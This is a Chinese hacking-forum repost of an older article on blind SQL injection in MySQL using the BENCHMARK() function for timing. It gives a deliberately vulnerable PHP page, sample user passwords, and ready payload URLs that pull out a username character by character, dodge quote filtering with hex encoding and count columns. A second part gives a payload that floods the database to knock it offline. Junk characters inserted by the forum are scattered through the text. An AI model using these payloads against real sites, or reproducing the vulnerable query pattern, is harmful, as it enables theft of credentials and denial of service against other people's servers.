找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2050|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 , G) Z( R1 c9 t7 J
本文作者:SuperHei  {3 S/ J4 C. F
文章性质:原创
+ |; a* ^4 P3 M' k$ a+ @发布日期:2005-01-02
: ~; _5 N2 k& m( V" Q0 J$ h# |, w完成日期:2004-07-09
* \- q" h4 i5 N9 ^) F$ a第一部
1 d) Q/ K4 x6 E* v0 l, K$ l  M4 z6 w& X0 \! P6 [
利用时间推延进行注射---BENCHMARK函数在注射中的利用
, Y  d  e% X+ c% ~* X' Z2 Z/ h, a
  W- K5 _5 {$ v一.前言/思路, r$ R% _. \: ]
$ c5 H* R' v; q+ l& Z
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
- h: i" U9 l' _2 X# [
: f* R3 A, |  V- E1 Q* ]  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
+ C$ @6 B" L  ^1 Z& ^# Y+ P* D7 g
% M- @8 r: X8 H! t" p: i: _' A二.关于BENCHMARK函数
7 \" l7 O2 `4 l, P9 j
3 l0 r- @+ q! k$ k  在MySQL参考手册里可以看到如下描叙:
( D! k% W6 v- g, |
& x3 U; P  }5 k2 c+ ~4 R2 R3 H4 S* v/ b2 j% b$ K7 E- b
--------------------------------------------------------------------------------/ e( R5 t* O8 m' j5 E! K

, @% m: K* |* R8 t$ dBENCHMARK(count,expr) 3 Q1 \8 u& y- \4 ^: s/ x
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 , n& _' F+ m7 G4 d/ |; r# b7 R4 B
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
( |6 z2 w  d7 t7 {3 l4 A; ^8 }+----------------------------------------------+   Q5 \7 h( }+ q, i; l
| BENCHMARK(1000000,encode("hello","goodbye")) |   i3 b! B+ ~3 @8 L" N) Q
+----------------------------------------------+ - C6 w2 S  E6 |3 |, Q2 c: G+ ~
| 0 | . Z$ y1 p0 t8 c, g; q+ ?! n
+----------------------------------------------+
1 E5 V6 b6 t. G% M! X. k1 row in set (4.74 sec)
0 y1 m5 a5 v& [- j# {2 h# v; [9 \" K: f! h, `( ]3 ~
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。( `$ x4 x% d; A% U+ v

2 E1 ^! s/ E0 @. k* C, L( \
) L; V. y# b6 e' N6 T' V2 T) L--------------------------------------------------------------------------------
. n% O5 l3 ?+ ]* n7 g# G2 X2 Y. w. f; ~& S; l
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: ) e! `( M6 P  E  Z3 J
8 M$ m; N# E9 K, b
mysql> select md5( 'test' );
& i7 [. J4 H) Y% S# j; h/ R+----------------------------------+
0 F* A, w/ W% v( K6 {$ n| md5( 'test' ) |
1 L! i% }% N5 b0 ]0 a+----------------------------------+ ( ^* d4 A. Y, t5 i6 |/ x' j
| 098f6bcd4621d373cade4e832627b4f6 |
; R/ b  V8 Q( t$ i. Z& [+----------------------------------+
" i; H, C& m+ V6 q1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
0 y8 z: Y2 W; S( E( \, o* O
4 B! \+ T: h0 v0 E: ^+ H$ Tmysql> select benchmark( 500000, md5( 'test' ) );
6 z* E" C: I- X, T' y7 m+------------------------------------+
3 l4 d; z* t- N8 \, e| benchmark( 500000, md5( 'test' ) ) | + s7 K7 B! v4 k1 @5 ^+ O* j7 [
+------------------------------------+
; `0 j% p- O+ L# b% R( X& E| 0 | ; g. n' l; G0 c8 s
+------------------------------------+
$ s. M0 s1 L# r6 r1 row in set (6.55 sec) 〈------------执行时间为6.55 sec" H& L. U3 R3 \- X- [2 B
5 X5 p. v& S2 U, b
3 m# a6 m5 ]. q* Z  W; q- Y
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
/ ^& U) t& g5 l% z; u/ i  R4 U
- W$ U" ]! R: z' ]. W1 C三.具体例子
( q- v2 v9 I6 \9 h8 w8 n: ^: _6 O7 `( w$ l9 s6 \
  首先我们看个简单的php代码:
- U0 v- d% y1 p7 A9 O, g8 B# h# S$ ~9 `
< ?php 4 f" H8 r  L  T0 R+ z& ?( n: ~$ m, W
$servername = "localhost"; ' j; p* {  @3 p- d4 Q, L7 O
$dbusername = "root";
, u! l7 p4 y! x9 W$dbpassword = "";
* z3 o6 ~6 |0 V$dbname = "injection"; 5 \/ V/ s: v/ C9 a9 p6 ^7 v! N
2 \4 ?, ~0 C5 p6 n  a7 M( A" D
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ; f: ~/ E* r0 V6 f: K" f# `

0 ]. |% y: I2 ^0 F5 }! g$sql = "SELECT * FROM article WHERE articleid=$id"; # k- e! o* d, _5 B) {2 Z" B
$result = mysql_db_query($dbname,$sql); ! e- m6 T" m7 m: l$ O. ^
$row = mysql_fetch_array($result); ( ]0 L- g7 e' Q1 c' _; S% O+ b

$ n( O: g! v# N3 f. t' fif (!$row)
: T; H5 Z- a# O' v0 F4 t3 F{
" i' c' ^; g8 [; R3 @: ~exit;
. s) _6 J6 k. t2 s5 q8 ?: u# T0 `# h}
. O0 q/ I& }3 c* m?>. G% x- H3 |6 U* [$ f
% M9 Y: c5 v4 h3 t4 K4 B

3 Q  r  y8 }; b6 ^4 i  数据库injection结构和内容如下:& U- c0 g; t" B' t8 a

- b  `. v. l# e. t/ f8 q) \4 h# 数据库 : `injection` " j4 z: U1 L7 N: D1 V
#
% z! f$ ~; K% y% L2 _& {9 d, w# v" c( p/ _: S; q1 S7 a2 G% F
# --------------------------------------------------------
1 Q1 T0 l# O. y( m
8 U- O" U" {8 ^5 n% m$ j  W# ) w) b, M/ l. v! r* O) C+ a
# 表的结构 `article`
. L4 I7 s# B& T7 A# 6 r- o- w0 {7 Q% P& U9 p/ R3 M

# t2 V( A' r8 T: v/ f$ J: x0 _CREATE TABLE `article` (
' T% {2 Y. T3 j, @2 ?`articleid` int(11) NOT NULL auto_increment, : U5 _9 U5 Y( C. y
`title` varchar(100) NOT NULL default '', " p5 ?' u" G) {" M) H
`content` text NOT NULL,
1 B; w+ E! ^% Z1 Y# m4 PPRIMARY KEY (`articleid`) . w% i0 c$ m4 H. x% g
) TYPE=MyISAM AUTO_INCREMENT=3 ; 7 e3 \! g7 o5 T* R# m+ R. t

5 r& `  |" Z  J#
4 @: J/ g% C4 U0 i  y( k& i# 导出表中的数据 `article`
5 F" F; k* ]0 u, v" W# N1 }! D#
/ |# s% E9 ?8 F1 ^/ u
# g; W& q! T% q4 YINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
0 ?: y2 c" `0 A) r9 m! ~INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
. m+ g9 e# m" c* h
9 S' K) I- Q# w, H4 A# ?# -------------------------------------------------------- & d* i( g/ q, [- J! J  a" J

. t' O$ o% g& g/ J# e: ~6 R1 ]#
! s3 d3 u- l% Q3 @# 表的结构 `user` 3 a+ p( K" \" Y3 S( R% |
# 5 T2 O5 K9 x# z1 V2 U

3 O4 u6 D6 N2 c7 U3 z! lCREATE TABLE `user` ( 2 t4 ~# X+ z& ]5 c5 L# {% X
`userid` int(11) NOT NULL auto_increment,
# d" h) }5 H" s: t; Y`username` varchar(20) NOT NULL default '',
, K3 g$ k' K- _$ z3 w& N`password` varchar(20) NOT NULL default '',
2 I: q" c% `0 S' T( }, `PRIMARY KEY (`userid`) % |, C9 B: h/ n% m& w  D1 w1 S
) TYPE=MyISAM AUTO_INCREMENT=3 ; + {# \/ \1 ~( p  @
4 J' \6 R% r* U& v( E% J
#
1 g; D) I4 W. B$ {# 导出表中的数据 `user`
  e5 }, \3 ?  q9 g' x#
, z& b- D3 c1 y( M
. ^. k8 j% \4 X% @" ?; ^$ wINSERT INTO `user` VALUES (1, 'angel', 'mypass');
2 C  V3 H4 r; P$ K0 JINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
& i" \/ I. l1 s; Q' D$ k# P 1 {% I) ?- S2 U5 p: Z

" q/ ^4 Z* v% A* |( e' u. x! S& i  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
9 ?* C- }4 [% Z! _( o( }: y; V+ F; v, t2 G
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*0 W; f0 x# t2 o" k; s

5 ~+ E3 F  H6 D& p" N' p4 U' Y" K0 q6 I8 N9 E
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:2 {" y: v( z' n5 v

1 [( f/ w& w, a7 dhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*) c" L( X9 F1 d& N3 j+ e4 g: i

/ Q( }2 |3 }( Q% h8 D' B
9 K4 m8 o& z4 g% }+ U# t9 K" g  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 2 @2 R! [7 C, k

; Q' b: m0 h4 q( z! |  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
1 `! Y' Q) w) s$ C# [% n7 o3 [( Y6 C1 z6 Y: S9 |$ ]
第二部/ W  T% \5 \% z8 H8 c' k
  }7 ?; U5 f( {! e( u( h+ E
利用BENCHMARK函数进行ddos攻击
8 l* O3 U! l$ ^' m. d
7 Z+ ~: @  }3 R, K* j8 R  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
( D4 O2 T, J+ `. }! R7 E" i' R) y! L
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
" O  c7 D- G" x& T9 F9 u + A+ ]5 P; {4 e. Q4 l: p' \" o
9 [- H+ q* G: T9 m! ?
小结
0 e) a+ w6 i# X* C- V5 s) t  @! W( ?- \  X
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
/ k1 s+ o% z: T4 D; H& w
; e3 Q& `9 ?/ J" [5 P3 J2 G  ( o4 X9 G5 O# @# Y2 I4 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表